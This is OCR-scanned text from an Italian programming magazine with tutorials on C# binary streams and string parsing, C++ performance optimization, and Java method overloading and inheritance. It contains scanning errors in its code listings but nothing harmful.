short ReadlntlGO 


Legge uno short con segno. 


int Readlnt320 


Legge un int con segno. 


long Readlnt640 


Legge un long con segno. 


sbyte ReadSByteO 


Legge un byte con segno. 


float ReadSlngleO 


Legge un float. 


string ReadStringO 


Legge una stringa. 


ushort ReadUIntl 60 


Legge uno short senza segno. 


ulnt ReadUInt320 


Legge un int senza segno. 


ulong ReadUInt640 


Legge un long senza segno. 


^ TABELLA 2: 1 metodi di Binary Reader. A 
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munì stream di byte e di caratteri. 

uni ESEMPIO 
DIMOSTRATIVO 

Andiamo a mettere in pratica quanto studiato sino- 
ra attraverso la seguente applicazione dimostrativa: 



using System. IO; 

class Test { 

public static void Main() { 
// Definizione dei dati, 
string scrivil = "ciao"; 
doublé scrìvi2 = 3.14; 
bool scrivi3 = true; 
uint scrivi4 = 256; 

// Scrittura dei dati. 

BinaryWriter dataWriter = new BinaryWriter(new 
FileStream("test.dat", FileMode. Create, FileAccess.Write)); 
System. Console. WriteLine("Scrittura del dato: " 

+ scrivil); 
dataWriter.Write(scrivil); 
System. Console. WriteLine("Scrittura del dato: " 

+ scrivi2); 
dataWriter. Write(scrivi2); 
System. Console. WriteLine("Scrittura del dato: " 

+ scrivi3); 
dataWriter.Write(scrivi3); 
System. Console. WriteLine("Scrittura del dato: " 

+ scrivi4); 
dataWriter. Write(scrivi4); 

dataWriter.CloseQ; 

// Recupero dei dati. 

BinaryReader dataReader = new BinaryReader( 

new FileStream("test.dat", FileMode. Open, 
FileAccess.Read)); 
string leggìi = dataReader.ReadStringQ; 
System. Console. WriteLine("Ho letto il dato: " 

+ leggìi); 

doublé Ieggi2 = dataReader.ReadDoubleQ; 

System. Console. WriteLine("Ho letto il dato: " 

+ Ieggi2); 

bool Ieggi3 = dataReader.ReadBooleanQ; 

System. Console. WriteLine("Ho letto il dato: " 

+ Ieggi3); 

uint Ieggi4 = dataReader.ReadUInt32(); 

System. Console. WriteLine("Ho letto il dato: " 

+ Ieggi4); 

dataReader.Close(); }} 



Il programma compie tre operazioni: 

1. Definisce quattro valori di tipo differente, da im- 
piegare per il test. 

2. Scrive i quattro valori all'interno di un file chia- 
mato test.dat. 

3. Apre il file test.dat e, in maniera ordinata, recu- 



pera quattro valori dello stesso tipo di quelli 
appena scritti, mostrandoli in output in modo 
che l'utente possa confrontarli con quelli effetti- 
vamente depositati nel file. 

L'output prodotto sarà: 

Scrittura del dato: ciao 
Scrittura del dato: 3,14 
Scrittura del dato: True 
Scrittura del dato: 256 
Ho letto il dato: ciao 
Ho letto il dato: 3,14 
Ho letto il dato: True 
Ho letto il dato: 256 

È importante capire che BinaryWriter e BinaryRea- 
der operano con le rappresentazioni binarie dei dati 
manipolati. Per questo motivo il contenuto di uno 
stream binario non è organizzato in maniera tale da 
risultare umanamente comprensibile. Possiamo 
rendercene conto aprendo, con il Blocco Note o con 
un qualsiasi altro editor testuale, il file test.dat. 
Anziché trovare i dati "ciao", "3.14", "True" e "256" in 
bella evidenza, leggeremo una strana sequenza di 
caratteri, che è per l'appunto la rappresentazione 
binaria dei dati salvati. Per ottenere dei contenuti 
umanamente comprensibili bisogna ricorrere ai già 
noti stream di caratteri. Dedichiamoci adesso ad 
una controprova. Modifichiamo il programma ap- 
pena realizzato al seguente modo: 

using System. IO; 
class Test { 
public static void Main() { 
// Definizione dei dati, 
string scrivil = "ciao"; 
doublé scrivi2 = 3.14; 
bool scrivi3 = true; 
uint scrivi4 = 256; 
// Scrittura dei dati. 
BinaryWriter dataWriter = new BinaryWriter( 

new FileStream("test.dat", FileMode. Create, 
FileAccess.Write)); 
System. Console. WriteLine("Scrittura del dato: " 

+ scrivil); 
dataWriter.Write(scrivil); 
System. Console. Writel_ine("Scrittura del dato: " 

+ scrivi2); 
dataWriter. Write(scrivi2); 
System. Console. WriteLine("Scrittura del dato: " 

+ scrivi3); 
dataWriter. Write(scrivi3); 
System. Console. Writel_ine("Scrittura del dato: " 

+ scrivi4); 
dataWriter. Write(scrivi4); 

dataWriter.CloseQ; 

// Recupero dei dati. 
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BinaryReader dataReader = new BinaryReader( 

new FileStream("test.dat", FileMode.Open, 

FileAccess.Read)); 

doublé leggìi = dataReader.ReadDouble(); 
System. Console. WriteLine("Ho letto il dato: " 

+ leggìi); 
string Ieggi2 = dataReader.ReadString(); 
System. Console. WriteLine("Ho letto il dato: " 

+ Ieggi2); 
bool Ieggi3 = dataReader.ReadBooleanQ; 
System. Console. WriteLine("Ho letto il dato: " 

+ Ieggi3); 
uint Ieggi4 = dataReader. ReadUInt32(); 
System. Console. WriteLine("Ho letto il dato: " 

+ Ieggi4); 
dataReader.Close(); }} 

Riuscite a scorgere, a colpo d'occhio, la modifica 
effettuata? Sono stati invertiti, nella parte finale del 
codice, i metodi ReadStringO e ReadDoubleQ. Ora il 
software scrive una stringa ed un doublé, e poi tenta 
la lettura in ordine inverso, cercando prima un dou- 
blé e poi una stringa. Cosa accade? Eseguendo il 
programma si riscontrerà un'eccezione e, prima 
ancora che tale eccezione non gestita interrompa 
l'esecuzione, in output si leggerà un valore assurdo 
per la variabile leggìi. Tutto ciò accade poiché il fra- 
mework di .NET non conosce a priori il tipo di dato 
che sta per andare a leggere. Semplicemente, acqui- 
sisce una sequenza di byte e tenta di convertirla nel 
tipo desiderato dal programmatore. Se non c'è cor- 
rispondenza tra il tipo scritto e quello successiva- 
mente letto, si va incontro all'inconsistenza dei dati 
e ad altri problemi da esso derivanti. 
Fate molta attenzione. 



PROBLEMI 
CONVERSIONI 

Talvolta ci si trova nella necessità di gestire dei flussi 
di dati che debbano essere sfruttati dal software ma 
che, simultaneamente, debbano anche risultare 
umanamente comprensibili. In situazioni come 
questa non è possibile fare uso degli stream binari, 
per gli ovvi motivi spiegati nel corso del paragrafo 
precedente. Quando il contenuto di un flusso deve 
essere presentato in una forma umanamente com- 
prensibile, è necessario che le informazioni siano 
riportate come sequenze di caratteri; come una 
stringa o una sequenza di stringhe, insomma. 
C# mette a disposizione dello sviluppatore una serie 
di metodi che permettono la conversione da stringa 
ad uno degli altri valori della piattaforma, quando è 
possibile stabilire una corrispondenza. La Tabella 3 
riporta tutti i metodi utili per compiere questo gene- 
re di operazione. L'utilizzo è semplice. Mettiamo il 
caso di voler convertire il contenuto di una stringa in 



un valore di tipo float. Individuiamo nella tabella 
sopra presentata la struttura di .NET corrisponden- 
te al tipo float. Questa struttura è System.Slngle. Ap- 
plichiamo quindi il metodo Parse al seguente modo: 

float f = System. Single. Parse(stringa); 

Se la stringa può essere convertita liberamente in un 
valore di tipo float, allora 
dentro la variabile /trove- 
remo conservato deci- 
male cercato. In caso 
contrario, cioè quando la 
stringa non ha significato 
numerico (ad esempio è 
"ciao"), la chiamata al 
metodo ParseQ solleverà 
un'eccezione del tipo Sy- 
stem.FormatException. 
Esaminiamo un'applica- 
zione dimostrativa: 

class Test { 
public static void Main() { 
System. Console. Write("Scrivi un numero intero: "); 
string str = System. Console. ReadLine(); 

try { 

int i = System. Int32.Parse(str); 

System. Console. WriteLìne("II numero è valido, 

ed è: " + i);} 
catch (System. FormatException) { 
System. Console. WriteLìne("Hai immesso un 

valore non valido!");}} 
} 

Il programma richiede all'utente l'immissione di un 
numero intero. Con il metodo ReadLineO ciò che 
scrive l'utente viene acquisito sotto forma di stringa. 
Affinché il valore immesso possa essere effettiva- 
mente sfruttato come tipo int, è necessario applica- 
re una conversione attraverso il metodo ParseQ della 
struttura corrispondente, che è System .Int32. La 
conversione, all'interno di un blocco try. . . catch, vie- 
ne tentata. Se tutto va a buon fine, il valore viene 
riscritto in output. In caso contrario, quando si in- 
tercetta una System.FormatException, l'utente viene 
informato del problema. 



CONCLUSIONI 

Con questa lezione si chiude la nostra panoramica 
sul sistema di Input/ Output di .NET e sul suo utiliz- 
zo con C#. A partire dal mese prossimo andremo ad 
occuparci di alcuni argomenti di stampo più avan- 
zato, che occuperanno le ultime lezioni di questo 
corso. 

Carlo Pelliccia 




r Metodo 


Utilizzo 


System.Double 


static doublé Parse (string str) 


System.Single 


static float Parse(string str) 


System.Int64 


static long Parse (string str) 


System.Int32 


static int Parse(string str) 


System.IntW 


static short Parse(string str) 


System.UInt64 


static ulong Parse(string str) 


Svstem.UInt32 


static uint Parsefstring str) 


System.UIntl6 


static ushort Parse (string str) 


System.Byte 


static byte Parse (string str) 


System.SByte 


static sbyte Parsefstring str) 


k TABELLA 3: Le conversioni ammesse in CI À 
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Le tecniche per migliorare prestazioni e affidabilità 

Ottimizzazione 



del codice 



(parte seconda) 



In questo nuovo appuntamento, continueremo ad apprendere delle 
regole semplici, ma sempre utili, da seguire per ottimizzare il codice 
quel tanto che basta per renderlo più performante. 



Abbiamo visto nel corso del passato ap- 
puntamento le poche regole da seguire 
per ottimizzare i nostri programmi, che 
si possono riassumere brevemente in poche 
frasi: 

la velocità di un programma che non fun- 
ziona è irrilevante; 

la fase di ottimizzazione deve essere postici- 
pata il più possibile; 

il miglior compilatore è tra le nostre orec- 
chie; 

si ottimizzano i programmi troppo ingom- 
branti o troppo lenti; 

la rapidità di esecuzione non è legata alla 
lunghezza del codice. 

In realtà possiamo ottimizzare il nostro codice 
in tre periodi diversi del suo ciclo di vita: 

• ottimizzazione preventiva: consiste nel pro- 
gettare bene il nostro software prima ancora 
di iniziare a scrivere codice, si parla quindi 
di ottimizzazione di strutture dati, di oppor- 
tune scelte per gli algoritmi, della definizio- 
ne di specifici obiettivi relativamente alle 
prestazioni finali del programma; 

• ottimizzazione durante la codifica: consiste 
nell'adottare particolari accorgimenti du- 
rante la scrittura di codice, atti ad incremen- 
tarne le prestazioni mediante particolari 
modifiche in punti strategici e mirati (come 
ad es. il passaggio degli oggetti per riferi- 
mento, oppure l'utilizzo di costruttori in 
due fasi); 

• ottimizzazione finale: è quella compiuta al 
termine della stesura della versione finale e 



funzionante del programma, un esempio 
(estremo) della quale è la scelta di una op- 
portuna configurazione per il compilatore. 

Dopo aver esaminato alcune delle possibilità di 
ottimizzazione preventiva, passiamo adesso ad 
alcuni esempi di ottimizzazioni da svolgere 
durante la stesura del codice. 



DICHIARAZIONE 

RITARDATA 

IL PIÙ POSSIBILE 

In molti linguaggi di programmazione le varia- 
bili vanno dichiarate all'inizio di ogni procedu- 
ra che ne faccia uso: in C++ non è così, e pos- 
siamo dichiarare variabili dove vogliamo, con 
l'unico vincolo di doverle dichiarare prima di 
farne uso. 

Relativamente all'istante della dichiarazione, è 
sempre consigliabile dichiarare una variabile 
immediatamente prima del suo utilizzo: questo 
perché così facendo se ne restringe il tempo di 
vita al solo intervallo in cui essa è necessaria (e 
quindi mediamente si risparmia spazio in 
memoria), ma soprattutto perché così si spreca 
il tempo per costruirla solo quando tale variabi- 
le serve. Seguendo questa direttiva, ogni varia- 
bile deve quindi esistere solo all'interno del suo 
scope minimo effettivo (cioè, strettamente 
quando la variabile serve). Se ad esempio aves- 
simo una situazione come la seguente: 

Tx; 

if(condizione) 

{ 

//compiamo qualche operazione 
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//anche con la variabile x 



} 



nell'ipotesi che condizione sia true per metà 
delle volte in cui tale stralcio di codice viene 
eseguito, vediamo facilmente che perdiamo del 
tempo, in quanto dichiariamo la nostra variabi- 
le x anche tutte le volte che non ne facciamo 
uso; ad esempio passando per queste istruzioni 
cento volte, se anche solo una volta condizione 
vale false abbiamo già perso del tempo a 
costruire la variabile x una volta, se invece con- 
dizione è false per la metà dei casi, allora abbia- 
mo perso tempo a costruire la variabile x per 50 
volte; se il tipo della variabile x è complesso e 
non prevede ad esempio nemmeno una costru- 
zione a due stadi, diminuisce ben presto l'effi- 
cienza (nel senso di tempo di esecuzione e spa- 
zio utilizzato) del nostro codice. 



APPROFONDIMENTI 



A chi volesse approfondire la sua conoscenza sulle librerie standard del 
C++, consigliamo il validissimo libro "Thinking in C++ - 2 nd ed. - Volume 2" 
di Bruce Eckel e Chuck Allison, che rappresenta sicuramente un ottimo 
riferimento per i programmatori più avanzati (o aspiranti tali) ed è 
oltretutto disponibile gratuitamente per il download, partendo 
dall'indirizzo 
http://www.mindview,net/Books/riCPP/ThinkinglnCPP2e.html 



Se volete invece dare un'occhiata a una reference delle funzioni standard 
del C per la manipolazione di stringhe (o meglio: di array di caratteri 
terminati da "\0" :-) consultate l'indirizzo: 

http://www.cplusplus.com/ref/cstring/ 



Online è inoltre disponibile l'utilissimo "C++ Annotations" all'URL: 

http://www.icce.rug.nl/documents/ 



che merita di essere letto almeno una volta. 



L'unico caso in cui può essere sensato dichiara- 
re fuori del suo scope minimo effettivo una 
variabile è il caso dei loop: quando una variabi- 
le viene usata all'interno di un loop, ma non 
viene mai modificata, allora conviene dichia- 
rarla una volta sola al di fuori del loop (così 
viene costruita una volta sola). 



L'INIZI ALIZZAZIOIUE 
È PREFERIBILE 
ALL'ASSEGNAZIONE 

Quando si parla di dichiarazione di variabili, si 
presti anche attenzione alla loro eventuale ini- 
zializzazione. L'inizializzazione è preferibile al- 
la semplice assegnazione, e il motivo è presto 
detto: nella dichiarazione e successiva assegna- 
zione di una variabile, viene invocato prima il 
costruttore, quindi (all'atto dell'assegnazione) 
l'operatore di assegnazione, mentre se la varia- 



bile viene inizializzata con un certo valore, allo- 
ra viene chiamato direttamente ed esclusiva- 
mente il costruttore di copia. Questo è uno dei 
meccanismi "nascosti" del C++ che è sempre 
bene tenere presente. Ad esempio, il codice se- 
guente: 

T x = valore; 

è più efficiente del codice: 

Tx; 

x = valore; 

che, sebbene abbia la stessa semantica, richia- 
ma tuttavia due funzioni invece di una (come 
invece avviene nel primo caso). Tale inefficien- 
za diviene più evidente all'aumentare delle 
dimensioni della variabile x (cioè, all'aumenta- 
re della complessità del tipo T di detta variabi- 
le). Un'ultima nota relativamente all'inizializ- 
zazione di variabili: usare l'inizializzazione di 
variabili, invece dell'assegnazione a seguito 
della dichiarazione, rende spesso il codice più 
leggibile e quindi più facilmente manutenibile, 
oltre che più efficiente per i motivi appena 
detti. 



ATTENZIONE ALLA 
CONCATENAZIONE 
DI STRINGHE 

Quando si lavora con le stringhe, si presti atten- 
zione al modo in cui esse vengono concatenate. 
Osserviamo il seguente codice (in qui stri e str2 
si suppongono già dichiarate): 

string str3 = stri; 
str3.append(str2); 

Questo codice può essere scritto in maniera più 
leggibile usando l'operatore +, che nel caso del- 
le stringhe (in virtù della possibilità di ridefini- 
re gli operatori che ci è concessa dal linguaggio) 
effettua proprio la concatenazione: 

string str3 = stri + str2; 

Tuttavia l'operatore + ha un problema legato 
all'efficienza: esso per restituire il suo risultato 
fa uso di un oggetto temporaneo in cui memo- 
rizza il risultato, e tale oggetto temporaneo vie- 
ne prima creato, poi copiato e quindi distrutto 
(nel nostro caso particolare, l'oggetto tempora- 
neo sarà una stringa contenente stri e str2 con- 
catenate). Il problema è dato da questo oggetto 
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temporaneo (vedremo che gli oggetti tempora- 
nei sono da evitarsi il più possibile quando si 
parla di ottimizzazione delle prestazioni) che va 
creato e distrutto (oltre che copiato), ma esiste 
un modo semplice per aggirarlo, che consiste 
nell'usare l'operatore += invece che l'operatore 
+. L'operatore += a differenza dell'operatore + 
non genera alcun oggetto temporaneo, e il 
nostro codice potrebbe essere così riscritto per 
farne uso: 

string str3(strl); 
str3 += str2; 

Ma anche lo stesso operatore + potrebbe essere 
riscritto per fare uso dell'operatore += in modo 
da aumentarne l'efficienza (questo è un utile 
esercizio per i lettori volenterosi). Una nota 
relativamente ai tipi intrinseci del C++: per tutti 
i tipi predefiniti l'operatore + che si trova già 
scritto è quasi certamente più efficiente e velo- 
ce dell'operatore += (i progettisti dei compila- 
tori e del C++ hanno potuto muoversi in ambiti 
più certi relativamente a questi tipi), mentre 
tale operatore resta comunque da preferire al 
primo nel caso di tipi e classi creati da noi. 



COSTRUZIONE 
ESPLICITA E LISTE 
DI IIUIZIALIZZAZIOIUE 

Un altro trucco interessante per migliorare l'ef- 
ficienza del nostro codice è quello di utilizzare 
le cosiddette "liste di inizializzazione". Abbia- 
mo parlato, durante le lezioni di questo corso, 
della possibilità di inizializzare i membri di una 
classe prima che sia eseguito il codice del 
costruttore. È possibile fare questo utilizzando 
l'operatore ":" di seguito alla definizione della 
firma del costruttore. Ad esempio il seguente 
codice presenta le due alternative: con e senza 
le liste di inizializzazione: 

template <class T> 
class Prova { 

T valore; 

public: 

// senza lista di costruzione 

Prova(const T& t) { // il costruttore standard è 

chiamato qui automaticamente 

valore = t; // viene assegnato t 

} 

// con la lista di costruzione 

Prova(const T& t) : valore(t) { } // viene assegnato t a 

valore 
//tramite costruttore di copia }; 



Perché è meglio utilizzare le liste di costruzio- 
ne? Il motivo è molto semplice. Senza l'utilizzo 
di questo accorgimento i membri della classe in 
esame vengono costruiti prima di eseguire la 
prima istruzione del costruttore, utilizzando il 
relativo costruttore standard (ricordiamo che 
per ogni classe è sempre disponibile un costrut- 
tore standard) . 

Successivamente a questa operazione di 
costruzione viene assegnato il valore da noi 
desiderato all'interno del codice del costrutto- 
re. È evidente quindi che c'è una ripetizione 
nella manipolazione dei membri della classe in 
quanto la costruzione non è allineata con l'ini- 
zializzazione. Questa cosa non avviene nel caso 
di utilizzo delle liste di costruzione, in quanto 
in un unica operazione viene effettuata sia la 
costruzione che l'assegnazione del valore cor- 
retto. Ai fini dell'efficienza, e in questo caso 
anche della pulizia del codice, è quindi preferi- 
bile l'utilizzo di queste ultime. Uno dei proble- 
mi che però può derivare dall'utilizzo delle liste 
di costruzione è la mancanza della possibilità di 
effettuare dei controlli sui valori immessi, in 
particolare controlli di range, appartenenza o 
coerenza. 
In altre parole, il codice 

Prova(const T& t) { 

if (t>4) 

valore = t; 

else 



valore = 0; 



} 



non è implementabile con le liste. O almeno il 
codice di controllo dovrebbe essere inserito 
all'interno del blocco istruzioni del costruttore 
(che nel nostro esempio precedente era vuoto); 
tuttavia in quel punto potrebbe essere troppo 
tardi, in quanto la costruzione vera e propria 
dell'oggetto è già avvenuta. A questo punto ci si 
scontra con il fatidico dilemma: privilegiare le 
prestazioni o la robustezza? Noi possiamo solo 
ricordarvi il famoso detto che asserisce che "Un 
programma che non funziona è inutile". 



OPERATORI PREFISSI 

Per tutti gli oggetti per i quali è applicabile il 
concetto di somma e sottrazione di un valore, è 
in genere definito (o definibile) un insieme di 
operatori di incremento (++) o decremento (--), 
che eseguono l'operazione sull'elemento unita- 
rio. Come ci è già capitato di vedere, questi ope- 
ratori si presentano in due forme distinte, la 
forma prefissa e quella postfissa. 
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int i=0; 


cout << i++ << " 


"; //forma postfissa 


cout << ++i << " 


"; //forma prefissa 
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perplessità sugli 

argomenti trattati e 

vuoi proporle agli 

autori puoi scrivere 

agli indirizzi: 

alfredo.marroccelli© 

ioprogrammo.it e 

marco.delqobbo® 

ioprogrammo.it 

Questo contribuirà 

sicuramente a 

migliorare il lavoro di 

stesura delle prossime 

puntate. 



La forma prefissa esegue prima l'operazione di 
incremento e successivamente restituisce il 
valore incrementato, al contrario la forma 
postfissa restituisce il valore ancora da incre- 
mentare. È tuttavia evidente che, essendo la 
restituzione del valore l'ultima operazione di 
una qualsiasi funzione, è necessario salvare il 
valore da restituire in una variabile tempora- 
nea e, solo successivamente, effettuare l'incre- 
mento. 

const T T: :operator ++ (int) { // operatore postfisso 
T temp(*this); //variabile temporanea 
++(*this); // uso dell'operatore prefisso 
return (temp); 

} 

Come detto in precedenza l'utilizzo di variabi- 
li temporanee non è auspicabile in un pro- 
gramma da ottimizzare, quindi, laddove possi- 
bile, l'uso dell'operatore postfisso deve essere 
sostituito con l'uso di quello prefisso. Una utile 
accortezza, da utilizzare in questi casi, è quel- 
la di dichiarare l'operatore postfisso nella 
parte private della classe che si sta progettan- 
do. In questo modo sarà il compilatore ad 
avvertirci, automaticamente, dell'utilizzo di 
tale funzionalità e non saremo noi a dovere 
limitarci nella codifica. Facciamo notare tutta- 
via che una certa attenzione è obbligatoria 
qualora si utilizzino classi non definite da noi, 
nelle quali verosimilmente l'operatore postfis- 
so è di tipo pubblico. 



OTTIMIZZARE 
IL COMPILATORE 

Per ottimizzare un programma a costo pratica- 
mente nullo, in termini di modifiche al codice 
sorgente che possano introdurre problemi di 
robustezza e/o correttezza, è possibile agire 
sui parametri di configurazione del compila- 
tore. I compilatori hanno un modo di funzio- 
namento abbastanza standard, definito dagli 
algoritmi proposti dalla comunità scientifica. 
Tuttavia ogni produttore implementa molte 
funzionalità per diversificare l'eseguibile fina- 
le, in base alle esigenze dell'utente. Per un cor- 
retto utilizzo delle ottimizzazioni in fase di 
compilazione dunque, è necessario conoscere 
a fondo sia il codice che è stato scritto, sia il 
modo in cui il compilatore tratta tale codice. 
Questo significa che occorre conoscere i vari 



tipi di opzioni configurabili, che ovviamente 
variano da compilatore a compilatore e, all'in- 
terno dello stesso compilatore, da versione a 
versione. Alcuni tipi di ottimizzazioni quasi 
sempre presenti riguardano: 

• l'abilitazione /disabilitazione del riconosci- 
mento a run-time della classe di cui un 
oggetto è istanza; 

• l'abilitazione /disabilitazione del tratta- 
mento delle eccezioni (se non si utilizza il 
meccanismo di cattura delle eccezioni, il 
codice relativo alla loro manipolazione è 
inutile); 

• l'abilitazione /disabilitazione della gestio- 
ne automatica delle funzioni inline (in pra- 
tica si forza il compilatore a generare fun- 
zioni inline ogni volta che queste sono 
dichiarate tali; "inline" diventa un ordine e 
non un consiglio! In alcuni compilatori per 
default è così, in altri no) . 

Questo esempio da solo ci fa capire come la 
giungla delle ottimizzazioni del compilatore 
sia davvero fitta e richiede una conoscenza 
accurata di come è effettuato il processo di 
compilazione e generazione dell'eseguibile. Se 
non si ha questa conoscenza è consigliabile 
lasciare tutto com'è e non cercare di prosegui- 
re a tentativi, in quanto le varie combinazioni 
possibili sono moltissime e si rischierebbe di 
peggiorare la situazione anziché migliorarla. 



CONCLUSIONI 

In queste ultime due lezioni abbiamo affronta- 
to un argomento molto delicato, quello del- 
l'ottimizzazione del codice. Abbiamo visto 
come "ottimizzare" sia un concetto molto va- 
rio e afferisca un vasto numero di fasi nello 
sviluppo del software, da quelle preliminari a 
quelle molto avanzate. I piccoli trucchi e le 
strategie di più ampio respiro cui abbiamo 
accennato sono sempre da tenere a mente ma, 
come abbiamo ripetuto più volte, la prerogati- 
va principale di un software è quella di funzio- 
nare. Quindi l'ottimizzazione deve essere una 
operazione compiuta con criterio e soprattut- 
to intervenendo lì dove realmente serve, senza 
preoccuparsi di ottimizzare software per por- 
tarlo dallo 0.2% di occupazione di risorse, allo 
0.1%. La prossima puntata sarà l'ultima di 
questo corso, per cui, se ci avete seguito sin 
qui, non mancate neanche tra un mese! 

Alfredo Marroccelli e Marco Del Gobbo 
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Ricicla il codice delle classi Java con l'ereditarietà 

Scrivi codice migliore 
in minor tempo 

Questo mese imparerai ad usare l'ereditarietà, una delle più 
importanti caratteristiche di Java e della programmazione 
orientata agli oggetti. Utile ed elegante. 



Java ha tutte le caratteristiche tipiche dei linguag- 
gi orientati agli oggetti. Ne hai già conosciute un 
paio: l'astrazione dei dati ti permette di definire 
una classe e di usarla per creare oggetti; V incapsula- 
mento ti permette di usare la parola private per 
"nascondere" un metodo o un campo. 
Esistono almeno altri due "pilastri" della program- 
mazione a oggetti, e Java li supporta entrambi: uno è 
V ereditarietà, che permette di definire una classe a 
partire da un'altra classe. L'altro è il polimorfismo, 
una specie di gioco di prestigio che è in un certo 
senso la caratteristica più spettacolare della pro- 
grammazione a oggetti. Ma il polimorfismo si basa 
sull'ereditarietà, quindi prima dobbiamo parlare di 
quest'ultima. 



COMINCIAMO! 

Guarda questo codice: 

class GenNum { 
void stampa() { 
int n = genera(); 
// allinea il numero a destra 

if(n < 100) 

System. out.print(" "); 

if(n < 10) 

System. out.print(" "); 
System. out.println(n); } 
int genera() { 
return genera(lOO); 

_} 

int genera(int range) { 
doublé d = Math.randomQ * range + 1; 
return (int)d; 

_} 

int genera(boolean negativo) { 
if(negativo) 

return -generaQ; 
else 
return generaQ; 



} 

public static void main(String[] args) { 
GenNum g = new GenNum(); 
for(int i = 1; i <= 5; i++) 
g.stampa(); 

} 



} 



GenNum usa due o tre caratteristiche di Java che 
ancora non conosci. Una che forse hai già notato: la 
classe contiene diversi metodi che hanno lo stesso 
nome. Come facciamo (e come fa Java) a chiamare 
un metodo piuttosto che un altro? In questo caso 
non ci sono problemi, perché le liste di argomenti 
dei metodi sono diverse. Se chiami il metodo gene- 
raQ senza argomenti, verrà chiamata la prima ver- 
sione; se gli passi un int, la seconda; se gli passi un 
boolean, la terza. Puoi anche scrivere metodi con 
argomenti dello stesso tipo, ma in un ordine diverso: 

void f(int x, boolean y); 
void f(boolean b, int i); 

Finché esiste un modo non ambiguo per distingue- 
re i due metodi, Java non si lamenta. 
Attenzione, però: nome degli argomenti è irrile- 
vante. Contano il loro tipo, il loro numero e il loro 
ordine. Queste tre caratteristiche, insieme con 
nome del metodo, compongono la signature del me- 
todo, cioè la "firma" che permette a noi e a Java di 
distinguerlo dai suoi omonimi. Questa funzionalità 
si chiama overloading dei metodi. "Overloaded" vuol 
dire "sovraccarico", e in questo caso si intende che il 
metodo è "carico" di più significati. L'overloading è 
un aiuto per chi legge il codice. Se più metodi fanno 
una cosa simile, ma con parametri diversi, è giusto 
sottolineare che sono fratelli. Per il sistema, il fatto 
che i metodi abbiano nomi uguali o diversi è irrile- 
vante. 

Tanto per complicare le cose, le tre varianti overloa- 
ded del metodo GenNum.generaQ si chiamano a 
vicenda. La versione del metodo che viene chiama- 
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ESERCIZIO 1 



La terza versione di 

generai) prende un 

boolean, e non l'ho 

usata. Riesci a capire 

cosa fa? 




ESERCIZIO 2 



Ecco un piccolo esperi- 
mento di statistica sui 
numeri pseudocasuali 
di Java. Scrivi un pro- 
gramma che usa 
CenNum per stampare 
qualche migliaio di 
numeri sull'output. 
Puoi scrivere l'output 
del programma in un 
file di testo usando la 
funzionalità di "pipe" 
della riga di comando 
di Windows: 

java GenNumPari > 

numeri.txt 

Questo comando dirige 
l'output del program- 
ma al file numeri.txt. 
Puoi caricare il file in 
Excel e tracciare un 
grafico della frequenza 
con la quale sono sal- 
tati fuori i vari numeri. 
Più numeri produci, più 
il grafico della frequen- 
za dovrebbe apparire 
piatto per la legge dei 
grandi numeri. Se così 
non fosse, vorrebbe 
dire che il generatore 
di numeri casuali di 
Java lascia un po' a 
desiderare. 



ta da tutte le altre è quella che prende un int. 

int genera(int range) { 

doublé d = Math.random() * range + 1; 

return (int)d; 
} 

Math è una classe standard delle librerie di Java che 
contiene alcuni metodi utili per i calcoli matematici. 
Ho usato il metodo randomO, che serve a generare 
un numero casuale. Nota che randomO è un meto- 
do statico, quindi non c'è bisogno di creare un'i- 
stanza di Math: possiamo chiamare direttamente il 
metodo usando il nome della classe. 
Il metodo randomO genera un numero doublé com- 
preso tra (incluso) e 1 (escluso). Questo numero 
viene moltiplicato per parametro range, e poi gli 
viene sommato uno. La moltiplicazione ha come 
risultato un numero compreso tra (incluso) e 
range (escluso). Quando sommiamo 1, il risultato è 
un doublé compreso tra 1 (incluso) e range + 1 
(escluso). Subito dopo convertiamo questo doublé 
in un intero con un cast esplicito, quindi tagliamo 
brutalmente la parte decimale del numero. Il risulta- 
to finale di generai) è quindi un intero "a caso" com- 
preso tra 1 e il valore di range. Queste due righe sono 
più complicate di quello che sembravano, vero? La 
versione di generai) che useremo noi è quella senza 
argomenti, che non fa che chiamare la versione pre- 
cedente con l'argomento 100. Quindi questo meto- 
do genera un numero a caso tra e 100. 
Il metodo stampai) genera un numero tra 1 e 100 e 
lo stampa sullo schermo allineandolo a sinistra. Per 
allinearlo aggiunge alla stampa uno spazio se il 
numero è minore di 100, e un secondo spazio se il 
numero è minore di 10. Ricorda che System.out.- 
printQ non va a capo dopo la stampa, al contrario di 
System.out.printlni). Nota anche che stampai) non è 
un metodo particolarmente robusto: se modifichi 
generai) in modo che possa restituire numeri supe- 
riori a tre cifre, stampai) non sarà in grado di alli- 
nearli correttamente. L'ultimo metodo della classe è 
un metodo mainQ. Forse la cosa ti sembrerà strana, 
perché finora abbiamo scritto due tipi di classi: quel- 
le che ci servivano per creare oggetti e quelle che ci 
servivano per contenere un maini). In realtà il 
maini) è un normale metodo statico, e nessuno ti 
impedisce di aggiungerlo a qualsiasi classe. Potrai 
sempre usare la classe per costruire oggetti, ma in 
alternativa potrai "lanciarla" come un programma. 
In effetti molti programmatori scrivono un mainO di 
test in quasi tutte le loro classi. Una classe simile "si 
testa da sola", nel senso che basta lanciarla per veri- 
ficare che funzioni come ci aspettiamo: 

java GenNum 




Se fai girare il programma parecchie volte, prima o 
poi salterà fuori il numero 100 (ma non il numero 0). 



MADRI E FIGLIE 

Ecco una classe diversa dal solito: 

class GenPassword extends GenNum { 
void stampaPassword() { 

System. out.println("-> " + generaPassword()); } 
String generaPassword() { 
String pwd = ""; 
for(int i = 1; i < 10; i++) 

pwd += generaCarattere(); 
return pwd; } 
char generaCarattere() { 
final int codicePrimaLettera = 'a'; 
final int numeroLettere = 'z' - 'a' + 1; 
int i = codicePrimaLettera + 
(genera(numeroLettere)) + 1; 
return (char)i; } 
public static void main(String[] args) { 
GenPassword g = new GenPassword(); 
for(int i = 1; i <= 5; i++) 
g.stampaPassword(); } 
} 

GenPassword usa una parola chiave nuova: extends. 
Questa parola indica che la classe GenPassword 
"estende" la classe GenNum. Nel linguaggio della 
programmazione a oggetti si dice che GenPassword 
eredita da GenNum. Quando una classe B eredita da 
una classe A, riceve automaticamente in regalo tutti 
i campi e i metodi di A È come se l'intero contenuto 
di A fosse trascritto dentro B. Si dice anche che A è la 
madre (o la superclasse) di B, e B una figlia di A 
Nel nostro caso, il metodo GenPassword.generaCa- 
ratterei) chiama il metodo genera(int), che non è 
definito nella classe GenPassword. La classe contie- 
ne questo metodo perché lo "eredita" da GenNum. 
A proposito di generaCaratteref), forse vale la pena di 
spiegare come funziona: 

char generaCarattere() { 
